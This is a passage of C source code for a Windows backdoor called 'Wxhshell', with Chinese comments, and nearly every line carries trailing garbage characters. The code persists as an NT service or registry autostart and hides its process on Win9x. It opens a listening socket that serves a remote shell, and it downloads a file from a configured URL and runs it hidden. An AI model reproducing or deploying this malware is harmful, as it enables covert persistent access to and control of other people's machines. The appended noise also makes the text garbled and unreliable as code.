DWORD AffinityMask;
dkTX
DWORD BasePriority; &n:.k}/P
ULONG UniqueProcessId; =-n}[Y}A
ULONG InheritedFromUniqueProcessId; U!\.]jfS
} PROCESS_BASIC_INFORMATION; [hv~o~q
GGs}i1m
PROCNTQSIP NtQueryInformationProcess; fr6fj
;[OH(!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &}B|"s[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [ sjosV
c`w}|d]mC
HANDLE hProcess; ~=l;=7 T
PROCESS_BASIC_INFORMATION pbi; 7;wd(8
{_p_%;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B[?Ng}<g`
if(NULL == hInst ) return 0; A$0fKko
Pu$Tk|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;iL#7NG-R
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X\qNG]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +a{1)nCXe
#.)0xfGW)n
if (!NtQueryInformationProcess) return 0; RMu~l@
<R=Zs[9M1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lzVq1@B
if(!hProcess) return 0; /t$d\b17pX
>U27];}y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R$[vm6T?
n9ej7oj
CloseHandle(hProcess); ]jp6k<KF
M!D3 }JRm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 56kI
5:
if(hProcess==NULL) return 0; [5Mr@f4I
,(^*+G.i
HMODULE hMod; ope^~+c~\
char procName[255]; ~dTrf>R8M
unsigned long cbNeeded; x7<K<k;s
M gi,$H
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l}A93jSL
M&9+6e'-F
CloseHandle(hProcess); 60?%<oJ oH
T!)(Dv8@F
if(strstr(procName,"services")) return 1; // 以服务启动 PIS2Ed]
-k"/X8
return 0; // 注册表启动 P8/0H(,
} 5D//*}b,
*_\_'@1|J)
// 主模块 oV78Hq6
int StartWxhshell(LPSTR lpCmdLine) >e5qv(y]
{ U 0P~
SOCKET wsl; 1f=gYzuO)
BOOL val=TRUE; ":QZy8f9%
int port=0; TJXT-\Vk
struct sockaddr_in door; w@w(-F!%l
LsU9 .
if(wscfg.ws_autoins) Install(); bdE[;+58
ZyFjFHe+
port=atoi(lpCmdLine); ?) d~cJ
^v7gIC
if(port<=0) port=wscfg.ws_port; 5">Z'+8
D_zZXbNc
WSADATA data; suDQ~\n
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (V2fRv
8XE7]&)];
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iSs:oH3l
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [FR`Z=%
door.sin_family = AF_INET; oE]QF.n#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -]M5wb2,
door.sin_port = htons(port); G2:
agqL/
4ID5q~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _u QOHwn
closesocket(wsl); 8&b,qQ~
return 1; <x>Mo
} or}[h09qA
Z=vU}S>r|v
if(listen(wsl,2) == INVALID_SOCKET) { OYn}5RN
closesocket(wsl); FXkM#}RgNm
return 1; yEE*B:
} Zp=U
W*g^
Wxhshell(wsl); }b.%Im<3R
WSACleanup(); v"Es*-{B
U
z>+2m(
return 0; s|r3Gv|G
h>m"GpF
x
} k~1?VQ+?M
#!+:!_45
// 以NT服务方式启动 3L}A3de'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {&1/V
{ PB\x3pV!}
DWORD status = 0; u.xnO cOH!
DWORD specificError = 0xfffffff; ?m"( Soh
*u;Iw{.{
serviceStatus.dwServiceType = SERVICE_WIN32; 1#+S+g@#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; YS"=yye3e
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P71Lqy)5}A
serviceStatus.dwWin32ExitCode = 0; "S?z@i(K^
serviceStatus.dwServiceSpecificExitCode = 0; t\7[f >
serviceStatus.dwCheckPoint = 0; z!9-:
serviceStatus.dwWaitHint = 0; E+;7>ja
TAW/zpps$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]N F[>uiW
if (hServiceStatusHandle==0) return; 7WZ+T"O{I
ePo}y])2
status = GetLastError(); gc$l^`+M
if (status!=NO_ERROR) k~nBiV
{ k~w*W X'
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]~3V}z,T*
serviceStatus.dwCheckPoint = 0; 61'XgkacDS
serviceStatus.dwWaitHint = 0; 8FY?!C
serviceStatus.dwWin32ExitCode = status; .,6-u
serviceStatus.dwServiceSpecificExitCode = specificError; -e:`|(Mo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z/+#pWBI!
return; 6(ol1
(U
} Mb~F%_
JZyAXm%
serviceStatus.dwCurrentState = SERVICE_RUNNING; $*fMR,~t&
serviceStatus.dwCheckPoint = 0; l!u_"I8j5
serviceStatus.dwWaitHint = 0;
7hPY_W
y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zy
}$i?
} sd|).;s}
1p=]hC
// 处理NT服务事件,比如:启动、停止 qY!Zt_Be6
VOID WINAPI NTServiceHandler(DWORD fdwControl) #KZBsa@p
{ ;NITc
switch(fdwControl) R8'RA%O9J
{ Ds:'Lb
case SERVICE_CONTROL_STOP: rFL;'Cj@
serviceStatus.dwWin32ExitCode = 0; t1x1,SL
serviceStatus.dwCurrentState = SERVICE_STOPPED; YUk\Q%
serviceStatus.dwCheckPoint = 0; brUF6rQ
serviceStatus.dwWaitHint = 0; 1iF1GkLEq
{ pYf-S?Y/V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qzw;i8n{
} {R`[kt
return; P~X2^bw
case SERVICE_CONTROL_PAUSE: Z(CkZll
serviceStatus.dwCurrentState = SERVICE_PAUSED; "=Me M)K
break; e$rZ5X
case SERVICE_CONTROL_CONTINUE: b d!Y\OD
serviceStatus.dwCurrentState = SERVICE_RUNNING; t"oeQ*d%
break; I-l_TpM)
case SERVICE_CONTROL_INTERROGATE: &{t,' [ u
break; M9%$lCl
}; 5:_}zu|!u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j1T#yt
J
} 1bwOmhkS
^^ixa1H<
// 标准应用程序主函数 ' S/gmn
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fe_5LC"
{ -zfR)(zG
LZxNAua
// 获取操作系统版本 4BpZJ~(p
OsIsNt=GetOsVer(); 7HYwLG:\~
GetModuleFileName(NULL,ExeFile,MAX_PATH); @f3E`8
+v:SM9
// 从命令行安装 { 2f-8Z&>
if(strpbrk(lpCmdLine,"iI")) Install(); Cq~dp/V
{E|$8)58i
// 下载执行文件 (TT}6j
if(wscfg.ws_downexe) { .HABNPNg(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :gFx{*xN/9
WinExec(wscfg.ws_filenam,SW_HIDE); $/Uq0U
} A|{(/G2*
!R`{ TbN
if(!OsIsNt) { ~*];pV]A[
// 如果时win9x,隐藏进程并且设置为注册表启动 $6R-5oQ
HideProc(); 5]:U9ts#
StartWxhshell(lpCmdLine); j^RmrOg,
} NC6&x=!3
else H3-hcx54T
if(StartFromService()) e~"U @8xk~
// 以服务方式启动 ;#< 0<
StartServiceCtrlDispatcher(DispatchTable); :?1Dko^
else 8'y$M] e9n
// 普通方式启动 0?|<I{z2
StartWxhshell(lpCmdLine); *.w9c
Z6MO^_m2
return 0; !0<,@v"
}